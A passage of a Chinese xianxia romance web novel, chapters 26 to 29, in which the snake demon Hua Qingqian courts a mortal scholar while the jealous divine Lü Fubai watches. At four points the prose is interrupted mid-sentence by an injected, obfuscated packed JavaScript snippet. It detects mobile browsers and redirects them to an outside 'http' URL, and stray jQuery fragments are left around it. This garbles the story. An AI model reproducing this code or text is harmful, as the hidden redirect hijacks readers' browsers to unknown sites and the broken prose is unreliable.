“不是,清浅,这羌管是凡间的一种乐器,那羊管是什么?你当时读到这诗的时候,就没有觉得不对劲吗?” 他用词有些奇怪,东方容楚若有所思,抬眸看了他一眼。 花清浅狠狠瞪向他,恶声恶气道:“我以为这羊管是羊肠,怎么啦?明明这样想也是通的,‘一声羊管怨楼间’,就是诗人在冬天吃羊肠,却吃到了个坏的,难吃得怨气都出来了,飘散到整个楼间,很合理啊,不对吗?” 玉京子的笑声更加惊天动地,厉鬼二丫也在天花板上抱着肚子狂笑起来。连东方容楚都没忍住露出一丝笑意,但他见花清浅小脸涨红,瑰丽如云霞,像是当真羞恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306808|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不已,忙安慰她道: “诗词一道本就有多种解法,姑娘此解虽有谬误,倒也不失总角之年可爱烂漫的趣味。” “是吗?”花清浅扎向玉京子的凶狠目光霎那间软和下来,晶亮棕眸中含着的雾气化作一片春水,她浓长睫毛颤了颤,故作羞怯地抬眼望向他:“你真这么想?” 东方容楚认真点点头。 “你真觉得我可爱?” 这下脸红的人换成了东方容楚,笑意则转移到了花清浅的唇角,她憋都憋不住,看着他转开脸的模样,愉快地喝下一大口汤。 坐在她另一边的吕浮白从始至终都没有笑。 玉京子不记得蛇谷往事,他却还记得。 蛇谷里识字的蛇都是少数,花清浅和玉京子喜爱凡间诗文话本,又没爹娘教养,便常常结伴跑去偏远的村镇里找书,认字都是跟当地说书先生东一榔头西一棒槌地学。 偏远乡镇的说书先生水平能有多高?花清浅一百岁那会,跟他借走一本《上善水经》,对于略生僻一点的字,四个有两个都能解错。 是他手把手教她鸿蒙古言、仙界术语,后来她总跟凡间修士借书,他得空也教她人间文字,追究起来,她的启蒙先生应该是他傅玄。 他久居上界,对凡间种种诗词的确没有太大兴趣,花清浅了解他的脾性,也不会拿诗文来请他指教。在他面前,她手里拿的书永远都是修炼经典、鸿蒙古籍,就像如今在东方容楚面前,她拿着的总是凡间的诗词。 她在这方面的小心思,确实很是细致,细致得让人心里一闷。 - 午膳后,东方容楚没有立刻回房,他似乎对花清浅手里的诗集有些好奇,接过去不紧不慢翻了几页。 花清浅抓住时机靠过来,倚在他椅子边,胳膊轻轻搭着椅背,金线缂丝裙摆在空中微扬,勾勒出婀娜的身形。随着她漫不经心的动作,牡丹纹窄袖上缀着的雪白流苏轻晃,一股如兰的幽香拂过,此情此景,任何读书人脑子里都会冒出一个词——红袖添香。 就在东方容楚脊背僵直、将要起身之际,花清浅忽而稍稍退开了些,叫道:“东方东方,你给我讲讲如何作诗吧!” “承蒙姑娘高看,晚学于诗词一道亦不甚精通。”东方容楚虽然这么说着,但还是翻开一页,跟她介绍起新手学诗易于模仿的几位大家。 她俏脸含笑,语气轻快活泼,水眸晶亮,仿佛内藏着万千璀璨星辰,的确让人很难拒绝。吕浮白坐在与饭厅相隔很远的卧房,神识铺开,闭目假寐,想起多年以前的那一幕。 她跟神君没见几面,却敢大着胆子捏住他的袍袖一角,朱唇含笑,所用借口跟刚才所差无几。 “神君神君,你给我讲讲鸿蒙之初的事吧!” 那是他在水月镜中倒转了千遍的记忆,灵动妩媚的少女眸光灼灼地看着他,好像一双水眸从此只装得下他一个人。 五十年沧海桑田,新人换旧人,怎么不是触目惊心。 26. 第26章 第二次示范就丢了大脸,但花清浅丝毫没有气馁。她暗暗给玉京子使了个眼色,催他按计划动手——上午两人在暖阁中商量过,她给他再做一次栗子炒鸡,换他配合她扮作邪魔,对东方容楚来一次突然袭击,她要美救英雄。 玉京子接到她的暗示,起身出了屋子,花清浅一面算着时间,一面朝天花板上的厉鬼做了个手势。 然而因为上次失利,二丫已经不太信她了,飘到她耳边怀疑道:“这次能成么?要不就算了吧,不结合实例我也能记住的,就是要创造一次危机,然后把人救下嘛。” 花清浅不容置疑地瞪她一眼,意思是“这是我新开发的招数,保证万无一失”,扬起精致小巧的下巴朝天花板点了点,要她好好在上边看着。 二丫只好又飘回去。 这么一番动作,东方容楚也发现了花清浅心不在焉,扭头看向她,但还没来得及说什么,就听“轰”的一声,一团阴森的黑影破窗而入,直冲花清浅而来! 不是,玉京子这蛇怎么能这么蠢,她要他冲的是东方容楚,他怎么连对象都能认错?! 花清浅恨铁不成钢,捏起法诀的手都僵了一瞬,眼见要被那团玉京子扮成的黑影撞上,东方容楚下意识飞快上前一步,旋身护住她,反手拿着诗集往黑影身上拍去: “姑娘小心!” 他起身起得太急,花清浅没反应过来,往前一探,只觉得有什么温热的东西擦过她眉心。 是他的唇角。 她在电光石火间失神了一瞬。 她没有给任何人说过,在对凤凰神君紧追不舍的日子里,她之所以会觉得他喜欢她,一部分是因为自作多情,还有一部分是因为,她时不时会做一个梦。 一个他来救她的梦。 她依稀记得,某个夏日她独自去南海之滨捞海鲜,遭遇了一个猥/琐海老。对方见她穿得轻薄,便色/心大起,要拖她进海底蚌床行事。 花清浅恶心得要死,当即与他打了起来。本来她水性不错,却不料海里正是那海老的主场,眼见要被她一棍毙命,他竟以血为祭招来一堆虾兵蟹将,她对付不过那么多人,被打得筋骨碎裂,奄奄一息之际,有一只金红夺目的鸟儿从天而降。 是傅玄,他就像如今东方容楚护着她那样,背对着一群劲敌护在她身前,怜惜地看着她,反手肃清整片海域,在她眉心落下一个安抚的吻:“我来迟了。” 梦中情景有一半是真的,虽然因为重伤,她的记忆不太清晰,但从事后拼凑,她的确去过南海之滨,的确遭遇过一个恶心的海老。 可救她的不是傅玄。 事实证明,会对她那样小意温柔、怜惜疼爱,以至于忍不住落下一吻的,是她的魔头夫君,甚至是眼前这个凡胎□□的书生,从来都不会是傅玄。 当然,如果事态紧急,她相信傅玄大约也会救她。但也仅此而已,他只会救她一命,像救任何不相干的人一样。 他才不会吻她。 - 冒着黑气的面具很是阻挡视线,在撞上花清浅的前一刻,玉京子才发现冲错人了,平白挨了东方容楚一下,又不敢还手,只好假装被书卷抽疼的样子,痛嚎一声转头就跑。 “那是何物?”东方容楚看着他逃跑的背影,眸色渐深,温和问道:“姑娘不是说房中有结界,竟也没拦住他。” 花清浅还沉浸在旧事中,听他此话才回过神来,打着哈哈道:“哦,那、那是本地土地公的坐骑,没什么坏心,就是莽撞了些,不用管,我这结界就没想着防他。” “原来如此,难怪姑娘不闪不躲。”东方容楚神色微肃,“是晚学弄巧成拙了,还冒犯了姑娘,实在抱歉。” 花清浅忍不住笑起来:“刚才明明是我往前一仰,你才亲到我的,怎么算你冒犯呢?更何况——” 更何况,他一介凡人,遇上危险时第一个反应居然是挡在她身前。 从昨日到今日,她对东方容楚的兴趣都只是因为皮相而起,属于闲来无事逗弄两下。 然而,方才他想也不想、以身护她的这一刻,她那颗伤疤结痂的心又真正长出了新肉。 她好像,又可以不怕疼地把心交出去一次了。 - 吕浮白坐在卧房内,但神识从未离开花清浅身边,将这场闹剧从头到尾看得清清楚楚。 隔着数堵墙,他静默地凝望着花清浅的方向,她对他仿若实质的目光一无所觉,只抬着睫毛专注挑逗东方容楚,仿佛眼中只装得下这一个人。 又或者,她的目光赫然已经不是挑逗这么简单。 他的记性不幸太好,时隔多年,依旧能一眼认出她心动的痕迹。 - 东方容楚回房看书,花清浅目送他离开后抬步走入暖阁,玉京子早在火炉边化成了原形,舒舒服服地盘进垫子里。 “扮邪魔吓人的事,算你歪打正着,我就不怪你了。但有外人在,你好歹注意一下。”她戳了戳他翘起的蛇尾,姣美的面庞满是无奈,“如果现在进来的人是东方,看见你这样大变活蛇,保不齐要被你吓死。” 吕浮白跟在她后面进来,听到“外人”两字,心头气闷旋即一疏。 “蛇又如何,我又不去咬他,也不害他,哪里吓人?”玉京子愤慨地道:“再说了,你我都是蛇族,你日后要跟他在一处,少不了要暴露身份的。难道你还要骗他一辈子?” 花清浅瞪他一眼:“这怎么能叫骗呢?!现在我俩八字还没一撇,他能不能接受蛇妖还两说,要是把他吓跑了,谁来赔我一个这么俊的书生?” “凡人爱上狐妖、花妖、兔精的都有,蛇妖怎么了,有那么吓人吗?”玉京子很响亮地发出嘶嘶声,“那书生要真能被吓跑,那他还不如话本里的许仙。” “就算是许仙,第一次知道白娘子是蛇妖的时候,他不也晕过去了?凡人很脆弱的。”花清浅总结道: “再说,咱们蛇族跟那些狐狸、兔子真不能比。人家原形毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321750|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茸茸的,长得就比较可爱,哪像咱们一身鳞片又冰又硬,凡人见了只会跟那两只山雀一样吓得半死。” “可你原形就很好看。” 花清浅撇撇嘴:“你是蛇族,才会这么觉得。” “我也觉得你原形很好看。”吕浮白冷不丁插话道。 “啊,多谢世子殿下给我面子。”他这一句有些突兀,不过花清浅很快反应了过来,朝他感激一笑,手上催动灵力,把火炉边烤的几颗板栗送到他身前,“这栗子挺甜,世子尝尝?” 他不过说了句实话,她实在不用这么客气。吕浮白微微垂眸,但还是接过了栗子。 还了人情,花清浅收回视线,开始干正事。 她从袖中掏出一块鹅卵石大小的水晶,将之固定在空中,指尖朝着两端轻巧一勾,水晶左右两面便抽出两根稍粗的丝线,同时本体缩小,等那两根丝线末端连在一起、又互相缠绕出精美的纹路,变成一串吊坠,水晶本体也变得只有小拇指指甲盖大小,与相连的水晶链浑然一体,闪烁着温润的蓝光。 “你在做挂坠?”玉京子看着她的动作,好奇问道,“要送给谁?” “除了东方,还能有谁。”花清浅一面回答,手上掐的法诀也没停,持续向水晶中注入灵力,吕浮白认了出来,她在往里面封印术法。 一道防御型的水系术法,与她从前送给神君那枚水晶里的一模一样。 灵力注入完毕,花清浅将吊坠拿在指间把玩,也想起了从前:“说起来,我上一次做这种小玩意,还是在蛇谷的时候。” 她一旦对别人起了心思,就喜欢做这种小东西送人。然而在妖尊苍御峻身边时,她总被他的言行气得冒火,没心情做这些; 之后遇见赵刑西,太小的东西又不足以表达她的心意——她以为会与赵刑西白头偕老,以为他们还会有很多的时间,于是花了太久去准备一场分量巨大的惊喜,可世事无常,他还没有看到这份惊喜,就先与她分开了。 花清浅注视着剔透的水晶,像是透过吊坠看到了神界的重明宫,有些恍惚地说道: “你可能不记得了,那时咱们一起收集凤凰神君的资料,发现他几乎日日都往最危险的地方去,带领天界扫平邪祟、荡清魔头。” “你觉得他好威风,我也觉得他威风,但更担心他受伤,就用灵力封了道防御术法在水晶里送给他,不奢望能叫他后顾无忧,好歹叫我自己安心些。” “我从咱们西谷的洞府挑了好久,挑出来一块最大、最漂亮,跟我防御术法最相容的一块水晶石,为了保证一次成功,不伤水晶,我还在别的石头里练习了好多次,每日都是耗空灵力才停手。” 那块以道歉为名送上的水晶,背后居然也藏着这么多心思,吕浮白却是如今才知道。 心底迎来新一轮的细密疼痛,他呼吸渐重,深深望进她的眼底,她眸中有释然,有怀念,曾经对神君那份执着的爱慕却如潮水一般,来时汹汹,去时也退得干干净净。 27. 第27章 “后来呢?”玉京子听得有些入迷,扭过身子问道。 花清浅敲了下水晶吊坠,语气满不在乎:“后来他没戴呗。想来也是,我那样浅薄的灵力,怎么能入神君法眼?” “不是的。”吕浮白忍不住低哑出声,“他没有糟践你的心意,他没有把水晶石戴在身上,是因为······他舍不得。” 她注入水晶石的防御术法十分灵敏,他怕在战场上不小心就会被触发,于是珍而重之藏在了山巢里,每日都能看得见的安全地方。 “这有什么舍不得的,世子你太不会找借口了吧。”玉京子将身子绞得更紧了点,“要说那块水晶太丑,神君是不想戴在身上招摇过市,那还说得通。” 吕浮白欲要解释,花清浅却懒得再听:“他怎么想无所谓,反正我早就放手了。” “是,你放手了。”吕浮白近乎无力地看着她,“那他呢?” 花清浅无辜抬头:“啊?” “你说不要他,就不要了,那他怎么办?” 她这才听懂他说的是傅玄,尴尬一笑:“他、他自然是接着做他大道无情的神君啊。” “他已对你生情——” “不可能的。” “他的确已对你生情。神君挚爱蛇妖花清浅,自她亡故,五十年来生不如死,鸟族皆知,你再不承认也是无用。”吕浮白不再由着她逃避,他死死盯着她的眼底,近乎逼迫地道:“他做不回那个大道无情的神君了,你要他怎么办?” 这孔雀世子的态度怎么忽然变得如此强硬,难道她上次暴露身份以后,他又去见了一次神君,确认了她在撒谎? 可她分明没有撒谎。难道神君真的—— 不,不对,不可能,而且傅玄无论想干什么,都跟如今的她没有关系。花清浅触电般摇了摇头,甩开纷乱的思绪,回答他的问题:“神君要怎么办,那是神君的事,你应该去问神君,不该问我。” 她垂着长长的睫毛,被半遮住的棕眸饱含水光,看似多情,实则漠然无比。吕浮白看清她的神色,平静地闭起眼。 他要怎么做,其实他也不知道。他只知道,过了这么久才找到她,他是放不了手的。 哪怕她喜欢上别人,哪怕她的正缘已经出现,哪怕他一颗心被伤得鲜血淋漓,痛楚万分。 他也是没办法放手的。 “······我去补窗。”过了良久,他说了这么一句,仿佛什么都不曾发生过一般离开了暖阁。 花清浅理解他给神君打抱不平,但莫名被质问的火气也难消,忍不住瞪了眼他清冷的背影。 “恩人姑娘,这是什么情况?”二丫捂着嘴从天花板飘下来,“你之前还有一段情史?” 玉京子喷笑:“你太看不起蛇了,清浅的情史怎么会只有一段?” “怪不得你这手段如此之多!有你在,我今后这元阳就不愁了!”二丫大喜。 “别太高兴,我给你的示范到此为止。”花清浅食指抵住她的脑袋,把她推远了些,“你的阴气也撑不住几日了,赶紧去天法司找知府吧,祝你一切顺利。” 送走了二丫,玉京子继续在火炉边取暖,睡得鼾声四起,也不知身后的花清浅什么时候悄然关上了门。 - 花清浅抱着双臂走入饭厅,吕浮白果然站在窗户边。 他像是认出她的脚步声,头也不回地率先开口:“对不起。” “我之前没有想到,神君对你这么不好。”原来他比他想的,还要不好。 她逐渐厌倦,心灰意冷,他早该知道。 “你恨他,是应该的。”他艰难地说道,“只是如今,我还剩一事不明,想问个清楚。” 这孔雀世子看着正经,居然对他鸟族祖宗的桃色旧事如此感兴趣,估计对傅玄的崇拜已经到了非人的境界。花清浅没了脾气,道:“那你问。” “五十年前长生界一战,丹虺加害同族,且又入魔,本就罪无可赦,你为何一定要以死——以假死做局,让神君杀了他?” 花清浅道:“因为天界废物太多。” 蛇族归附天界,蛇王有过,按理应由天界神仙审判捉拿。但丹虺为王多年,笼络了不少仙尊,让天界审判,她一百个不放心。 “那就让神君来审,你只需跟他解释一句就好,为何一定要——” 他逻辑缜密,她骗不过他,支吾半晌,最后才老实说道:“咳咳,其实,嗯,丹虺只是一方面。” “那时玉京子刚走,我情绪不稳,神君仁慈,怕我出事,便要我待在长生界,不肯放我走。我做局假死,主要还是想,嗯,想借此离开他。” 她不惜假死,只是为了离开他。 “我明白了。”他转过身,声音有些发闷:“我明白了。你与神君早已……早已桥归桥,路归路,我不会再拿他的事来烦你了。” 他居然自己主动有了这个觉悟,花清浅顿觉爽利,神色一舒道:“世子言重了,什么恨不恨烦不烦的,我对傅玄没有那么深的怨念。说句真心话,我对他的敬仰不比世子你少。” 那段孽缘,本就是她痴迷情障,死缠烂打,扰他许久,如今提起来,她只有反省之心,万万不敢对神君有埋怨之意。 “其实,我现在觉得神君做得挺对的,要是他不与我保持距离,以我年轻时的荒唐劲,不知要做出多少傻事来。”她真心苦笑道,“我与他真的很不相配——” 吕浮白心口一紧,再也听不下去,打断她道:“你不用再说了。这些过往,我是不会告诉东方的,你大可放心。” “你怎么知道我要说什么?”花清浅吃惊地抬起眼帘。东方容楚毕竟是个书生,脑子里装的大约全是儒家礼法,能不能接受她多彩的情史着实是个问题。 她现在来找吕浮白,正是为了与他和好,叫他不要跟东方告密,没有想到他居然一眼便看穿了她的心思:“世子,你老实说,是不是跟傅玄学过窥探人心的秘术?” 吕浮白摇头:“没有这种秘术。”就算是有,傅玄也不会教给一个鸟族小辈,第一个教的一定是她。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337790|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道,我是在跟你开玩笑。”花清浅笑得有些无语,看他这副古板模样与以往的凤凰神君有几分相像,不由暗自感叹,这鸟族崇拜一个人时,还真会在举手投足的细节带上那人的影子。 - 老天爷的脸色被花清浅料定,两日后果然雪消云散。花清浅依诺陪东方容楚上路,在出门时将用心做好的水晶吊坠塞给了他。 “我们此去要从山中穿行,为节省时间,难免要从一些精怪洞府门口过。”她告诉他道,“这水晶石有我的气息,你戴着它,寻常妖怪不敢动你。里面还有我封的一道术法,便是有不懂事的妖来侵扰,也奈何你不得。” 东方容楚还要推辞,她索性将水晶吊坠往前方抛去,果然见他下意识伸出手,把吊坠稳稳接在了怀里。 “跟我同一屋檐下住了两日,你还跟我讲什么虚礼。”她斜睨了他一眼,“举人老爷莫不是嫌弃我做的这吊坠不好看?” 她一张小脸未施脂粉,肌肤却端的白嫩如瓷,眼尾微红,像是初春绽开的甜蜜花蕊,因为故意拿乔,她水眸半眯,只显得更加生动可爱。 东方容楚凝神看着她,无奈地放软了语气:“我怎么会嫌弃你。” “不嫌弃,那你就好好戴着。”她凑到他身边,促狭笑道:“要不要我帮你戴?” 那颗勾魂摄魄的泪痣忽然在眼前放大,东方容楚摇头的动作都慢了一瞬,但或许是这两日被她调戏惯了,他这次竟然没往后躲。 两人说话间,玉京子和吕浮白背着行囊踏过门槛,玉京子这厮嘴里还嘎吱嘎吱地嚼着肉干,暧昧氛围消失殆尽。 花清浅遗憾地叹了口气,素手往后一点,原地起了个结界,将整个小院包住,“走吧。” 因为路人皆知的小心思,她与东方容楚走在前头,玉京子和吕浮白走在后面。 玉京子看着前面两人叽叽咕咕地说话,嫌弃不已,将肉干嚼得越来越大声。 吕浮白神识将她从头扫到尾,发现她的穿戴都是方便行走的法衣,还算齐全——她今日穿了一身暗蓝劲装,质地是昆仑云锦,背后飘着四爪玉蛟纹绣羽纱披风,披风系带下方左右两边镶了两只赤金累丝环,方便在风大的时候拢上。 只有一双白狐皮底的短靴是凡间买的,走不了多久就会漏雪。 而花清浅正欣赏着东方容楚腰间佩水晶的英姿,她做的吊坠其实很像女子佩戴之物,但东方文质彬彬,长身玉立,腰间玉带上挂了个吊坠丝毫不影响外观,反而令他更俊秀了些。 “真好看。”她看了半日,忍不住出声夸道。 不知东方有没有听明白,她想他大约是明白了,才会对她这句突兀的感慨问都没问,故作镇定地撇过头去—— “清浅。”后面忽然传来一声,花清浅不明所以地转过身,看到了吕浮白状似平静的俊脸。 “什么事?” “你靴子快坏了,换一双吧,仔细冻着了脚。”吕浮白温声说道,见旁边的东方容楚并没有回避的意思,古井般深不见底的眸子闪过一丝阴翳。 28. 第28章 吕浮白乾坤袋里的那双轻靴虽款式简单,但若仔细查看,便会发现此靴从靴底到靴面通体无缝,还闪着隐隐的神光。 花清浅记得,这种仙靴是由北境群星所牧的牦牛皮所制,能在极寒之地保人全身鲜血温热,可那种牛一万年也死不了几头,所以极其珍贵,凤凰神君长生界里也只有几双。 “世子殿下,是要赠我这双靴子?”她有些受宠若惊,没发现他对东方容楚那警告性的眼神,“这,这也太宝贵了,我受不起的。” 吕浮白让她不要客气,当着书生的面拿起她的手,将乾坤袋交到她怀里。 几人此刻正在上山,花清浅不想耽搁行程,也就没有过多拉扯推辞,拿着那双靴子便往旁边的林子里扎去——她近日研读儒家礼法,立志要做一位能让书生喜欢的淑女,淑女自然不能在外男面前换鞋。 知道她要做什么,东方容楚和吕浮白都站在原地不动,两厢沉默,看起来像是一场对峙。玉京子没有这个顾虑,嚼着肉干就跟了上去。 “你真要跟着那书生去京城?”他替花清浅拿着乾坤袋,百无聊赖倚在一根竹子上问道。 “对啊。” “那之后呢?” 花清浅很快换好鞋,从他手中接过乾坤袋:“他若金榜题名,我就顺势做一回状元娘子,他若不中,我资助他继续考呗。” 这简直跟话本里的情节一模一样:某个书生偶然遇见精怪,撞了大运,精怪从此就对他死心塌地、给钱给人、人财两失! 玉京子一直觉得这种话本里,书生占了大便宜,精怪则吃了大亏。一想到花清浅要吃大亏,他心里就不大舒服。 “你跟书生走了,你娘亲香染怎么办?”他很快找到一个劝阻她的理由,“之前你不是还用那箱银子求卦,想找香染吗?你若从此住在京城,还怎么找她?” 花清浅挑起眉:“我是想找我娘,但找人不在一时,急什么嘛。” 早在得知香染活着的那一夜,她找寻爹娘的执念已消了大半,因为她忽然想到了之前从未想过的一点。 ——说不定,香染不是被迫抛弃的她呢? 她一心想和娘亲团聚,但如果香染根本就不想要她这个女儿呢? 否则母女失散这么多年,香染活得好好的,为何这么久都不来找她? “下次有机会,我会再起一卦,问问天道她是否失忆,或是被人困住。”她告诉玉京子,“若她有难,我当然要尽快去帮她。但若她万事安好,却一直不来找我……” 她也会抑制住自己,不去打扰香染。 反正,就算没有娘亲,她也好好活到了今日。她已经不是那个五十年前想被神君、被娘亲、被所有人爱着的小花蛇,也没有那么迫切想找回原本的家。 毕竟她已经长大了,大到足够自己组建一个家。 尽管这些年求偶结果都不如意,但如果有机会,花清浅还是想生一窝蛇蛋,数量不用多,两三个就好。无论蛋它爹是谁,她都会做一个很好、很好的娘亲,寸步不离地教小蛇们如何修炼、如何求偶,让他们度过比她幸福千百倍的一生。 “你要生蛇蛋,那我怎么办?”玉京子听她描绘未来蓝图,仿佛丝毫没有他的影子,心里一下子凉了半截。 “哦,你原来是担心这个。”花清浅哭笑不得地拍了一下他后背,叫他加快脚步回去,“有什么可担心的,我生蛇蛋,你肯定是蛇蛋的舅舅呀!你以为我是那种一成婚就不管你的人吗?” “那万一你夫君不喜欢我,可怎么办?”前方就是东方容楚两人,玉京子压低了声音。 花清浅头也不回地轻快道:“那我就换一个夫君呗。” - 再次出发时,仍是花清浅与东方容楚在前头走着,玉京子和吕浮白跟在两人身后。 但这次,玉京子的情绪明显高涨许多,就算花清浅与东方容楚的说笑声不时传来,他也没再把肉干嚼得震天响。 方才吕浮白的神识一直没有离开花清浅,她与玉京子的谈话他心知肚明,对玉京子这番变化也不意外。玉京子不再偷吃,一张嘴却闲不下来,主动和他攀谈起来: “花清浅从前居然喜欢过凤凰神君?唉,她喜欢什么妖尊、什么魔头也就算了,凤凰神君那可是正儿八经看破红尘的神仙啊,你说她怎么想的,这不是自己给自己找罪受么!” 吕浮白没有答话,他又自顾自地道:“不过短短一百年内,她能换两任夫君,也是够花心的。如此一条花心蛇,也不知道这东方书生能不能受得住——” “她不是。”吕浮白忽然出声打断他。 “她不是什么?” “她不是一条花心的蛇。”他淡淡道,“她很好。” 花清浅一点都不花心,他是最明白不过的。她是一条很长情,很执着,很会爱人的小蛇,能被她爱上的人,是天底下最幸运的。 玉京子惊悚地看着他,他却并没有费神解释,目光仍是紧盯着前方。 花清浅正与那书生并肩前行,她从绢袋中掏出一把板栗,假装自己剥不开,撒娇递给东方容楚,后者一颗颗剥好后还给她,她吃得两颊鼓起,心满意足,顺手将一颗栗肉塞到他嘴里。 东方容楚被她的突然袭击惊得愣了一下,而她像是没事人一般收回手,脚下步伐不停,仿佛这套动作已经做过上百次般云淡风轻。 吕浮白却看得清楚,她手指在碰到东方容楚唇瓣时那一瞬触电般的颤抖,跟许多年前那只喂给神君糖葫芦的紧张小花蛇一模一样。 多少年了,她爱上一个人的时候,还是会有点冒傻气。 “你不知道,清浅很好。”他静静垂下眼,对玉京子重复了一句:“她很好。” “可她移情别恋的速度这么快!”玉京子咋舌。他不是看不惯花清浅这样,恰恰相反,他对她花心喜闻乐见,甚至盼着她更花心些,只是不明白孔雀世子为何非要反驳这一点。 “那是她运气差,碰见的人都对她不好。”小花蛇不会无缘无故就移情别恋,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361342|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果被她厌弃,一定是对方的问题。那位西陆妖尊如是,不知名的第二位夫君如是,凤凰神君也如是。 收起思绪,吕浮白强调:“不能怪她。” 玉京子心里也偏向花清浅,于是细细想了一番,发现他的说法居然有几分道理。 “也对。”他点头说道,“应该怪这个书生,他一介凡人,居然看不清自己的身份,连花清浅都敢勾引。” 吕浮白瞥了他一眼。 “我、我不该歧视凡人的,众生平等的道理我晓得,世子不用训我,我再也不说这种话了。”玉京子察觉了他的目光,想到这位世子是个多么清正的上神,忙在他开口以前主动认错。 吕浮白却根本没有再理会他。他只是沉默不语地加快了速度,拉近了与花清浅两人的距离,那两人都是羞涩的时候,花清浅正插科打诨试图缓解气氛,然而他赶上来之后,气氛是怎么也活跃不起来了,一直尴尬到下山。 - 翻过第一座大山,天色已晚,一行人在平地上扎营。再翻过两座山头,就能抵达五门峡,从五门峡顺着官道走,不日便可见到京师南门。 从慕城到京师,这条路线是最快的捷径。赶考的学子们之所以绕路,是因为此地群山幽邃灵异,常有邪魔妖怪出没,没有高人护送,这条路是走不起的。 而如今四人第一座山翻下来,别说什么妖怪,就是猛兽也没见到一只。 东方容楚还以为这是花清浅那颗水晶吊坠的功劳,花清浅却知道,她至今修炼才两百年,万万没这么大本事。 根据她的情报,这片群山藏着几头凶兽,虽然修为都还没她高,但那都是胆大包天、不知好歹,见人路过便想扒一层皮的主。 在花清浅的计划里,此行应该会碰上一两头凶兽,由她出手将其制服。她要在东方容楚面前好好显摆一下身段和法力,连凌空时腿要如何踢出、细腰需如何摆动都想好了,准保能叫没见过世面的书生移不开眼。 可惜她千算万算,算漏了一点,就是跟着同行的有一位真正的上神,大明王世子吕浮白。 上神威压在此,方圆百里之内,所有妖邪都逃之夭夭,哪里还敢放肆? 下山途中,花清浅好不容易远远发现一只紫狐,看它尖嘴周围邪气环绕,想必吃过不少人心和妖丹,正等着它上前挑衅,它却像是发现了吕浮白的存在,浑身惊惧地颤了颤,转头夹着尾巴向后奔逃而去,一眨眼就退到山林之中消失不见了。 当晚东方容楚早早歇下,剩下三人在营地前燃起篝火,花清浅往周围布了个结界,确认不会吵醒他后,转向吕浮白笑道: “世子殿下果真厉害,还没放出神识,仅凭上神威压便叫这偌大的群山为之一静。” 其实吕浮白放出了神识,只是他的神识自上古时期便存在于世间,相比其他神明更加隐蔽,便叫她难以发觉,只有神霄玉清那些敏锐的真神才能发现。 他不想说谎,但也不想暴露神识特殊,便一言不发点了点头。 29. 第29章 为了感谢吕浮白所赠的仙靴,花清浅从自己的乾坤袋里拿出一尊小壶,递到他面前。 “这里面是不老泉的泉水,对上神有重生骨血、洗经伐髓之效,你拿着吧。”她想起什么,笑了笑,“不老泉本就是你族祖宗的东西,如今也算物归原主了。” 玉京子看着吕浮白神色复杂地接过那壶水,顿了顿才反应过来,她说的“你族祖宗”是凤凰神君。 “这泉水既然属于凤凰神君,又怎么会在你手里?”他好奇问道。 “神君送我的呗。”花清浅懒洋洋伸手,从火里召出一块烤得焦香的牛肉干,篝火给她侧脸和素手都镀上一层胭脂般的橙红色,火光明暗间,她本就漂亮的五官越发显得明艳:“不然呢,还能是我偷的?” 当年她不知天高地厚,发下了百年化龙的宏愿,神君估计是想鼓励鼓励小辈,便给了她这壶不老泉水,还特意叮嘱她,不老泉对妖族无用,要她飞升上神时再饮。 玉京子感叹道:“这么看来,神君对你还挺好的。怪不得你觉得他喜欢你,要不是书中说上古真神天生无情无欲,我也觉得他喜欢你。” 吕浮白没来得及出声,便听花清浅含着肉干,口齿不清地大笑起来: “玉京子,你读的什么歪书?上古真神要是都无情无欲,如今这么多神族、仙族是哪里来的,难不成都是天生地养么?” “光是应龙一神,就衍生出了如今大半个水族,那可是天上地下能交/配的都交了个遍,《鸿蒙秘史》里记得明明白白,你说这是无情无欲?” “所谓的无情无欲,无私成圣,上古真神里大概也只有凤凰神君做到了。”说到此处,花清浅居然有些骄傲,将半块烤肉干往空中一抛,秀美细颈仰起,准确地吞下烤肉: 